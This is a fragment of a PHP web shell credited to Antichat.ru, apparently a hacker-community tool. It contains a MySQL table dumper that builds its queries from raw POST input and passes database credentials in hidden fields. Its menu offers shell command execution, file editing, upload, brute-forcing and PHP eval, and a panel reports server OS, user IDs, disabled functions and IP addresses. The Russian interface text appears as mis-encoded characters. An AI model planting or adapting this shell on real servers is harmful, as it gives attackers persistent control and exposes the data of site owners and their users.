792@$vn = $_POST['vn'];
793$content .= "<td valign=top>Áàçà äàííûõ: $db => $vn<br>";
794@$inside = $_POST['inside'];
795@$tbl = $_POST['tbl'];
796if($inside){
797$content .= "<table cellpadding=0 cellspacing=1><tr>";
798
799mysql_select_db($db) or die(mysql_error());
800$c = mysql_query ("SELECT COUNT(*) FROM $tbl");
801$cfa = mysql_fetch_array($c);
802mysql_free_result($c);
803$content .= "Âñåãî: $cfa[0]<form name='mysql_dump' action='$php_self' method='post'>
804<input type='hidden' name='action' value='$action'>
805<input type=hidden name=ac value=sql>
806Îò: <input name=from size=3 value=0>
807Äî: <input name=to size=3 value=$cfa[0]>
808<input type=submit name=show value='Çàãðóçèòü'>
809<input type=hidden name=inside value=1>
810<input type=hidden name=vn value=$vn>
811<input type=hidden name=db value=$db>
812<input type=hidden name=login value=$login>
813<input type=hidden name=pass value=$pass>
814<input type=hidden name=adress value=$adress>
815<input type=hidden name=conn value=1>
816<input type=hidden name=base value=1>
817<input type=hidden name=p value=sql>
818<input type=hidden name=tbl value=$tbl>
819</form>";
820@$vn = $_POST['vn'];
821@$from = $_POST['from'];
822@$to = $_POST['to'];
823@$from = $_POST['from'];
824@$to = $_POST['to'];
825if(!isset($from)){
826 $from=0;
827}
828if(!isset($to)){
829 $to=50;
830}
831$query = "SELECT * FROM $vn LIMIT $from,$to";
832$result = mysql_query($query);
833for ($i=0;$i<mysql_num_fields($result);$i++){
834$name = mysql_field_name($result,$i);
835$content .="<td> </td><td bgcolor=#44474f><font color=red> $name </font></td> ";
836}
837while($mn = mysql_fetch_array($result, MYSQL_ASSOC)){
838$content .= "<tr>";
839foreach ($mn as $come=>$lee) {
840$nst_inside = htmlspecialchars($lee);
841$content .= "<td> </td><td bgcolor=#44474f>$nst_inside</td>\r\n";
842}
843}
844mysql_free_result($result);
845$content .= "</table>";
846}}}
847
848//end function
849
850?><?=$header;?>
851
852<table width="100%" bgcolor="#31333b" align="right" border="0" cellspacing="0" cellpadding="0"><tr><td>
853<table><tr><td><a href="#" onclick="document.reqs.action.value='shell';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Shell |. </a></td>
854<td><a href="#" onclick="document.reqs.action.value='viewer';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Viewer |.</a></td>
855<td><a href="#" onclick="document.reqs.action.value='editor';document.reqs.file.value='<?=$file;?>';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Editor |.</a></td>
856<td><a href="#" onclick="document.reqs.action.value='upload';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Upload |.</a></td>
857<td><a href="#" onclick="document.reqs.action.value='brute';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Brute |.</a></td>
858<td><a href="#" onclick="document.reqs.action.value='mysql';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Mysql Dumper|.</a></td>
859<td><a href="#" onclick="document.reqs.action.value='phpeval';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Php Eval |.</a></td>
860<td><a href="#" onclick="history.back();">.| <-back |.</a></td><td><a href="#" onclick="history.forward();">.| forward->|.</a></td></tr></table>
861</td></tr></table>
862<br /><form name='reqs' method='POST'><input name='action' type='hidden' value=''><input name='dir' type='hidden' value=''><input name='file' type='hidden' value=''></form>
863<table style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#363940 borderColorLight=#c0c0c0 border=1>
864<tr><td>Safe mode: <?php echo $safe_mode;?><br>Disable functions: <?php echo $disfunc;?><br>OS: <?php echo @php_uname();?><br>Server: <?php echo @getenv("SERVER_SOFTWARE")?>
865<br>Id: <?php echo "Uid=".getmyuid(). " Gid=".getmygid(); ?><br><? echo 'Server: '.@gethostbyname($_SERVER["HTTP_HOST"]).' You: '.$_SERVER['REMOTE_ADDR'].' XFF: '.@gethostbyaddr($HTTP_X_FORWARDED_FOR).' ';?>
866<br> Status: <?php echo @$stdata;?></td></tr></table>
867<table style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#363940 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top"><?=$content;?>
868<br></table>
869<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#44474f BORDER=1 width=100% align=center bordercolor=#808080 bordercolorlight=black bordercolordark=#44474f><tr><td>
870<center><font color='#9acd32' face='Tahoma' size = 1><b>| Copyright by <a href="http://www.antichat.ru" title="antichat">Antichat.ru</a> | Made by Grinay | Modified by <s>Go0o$E</s><br/>Last update by <b>Isis</b> |</b></font></center></td></tr></table>
871
872<?=$footer;?>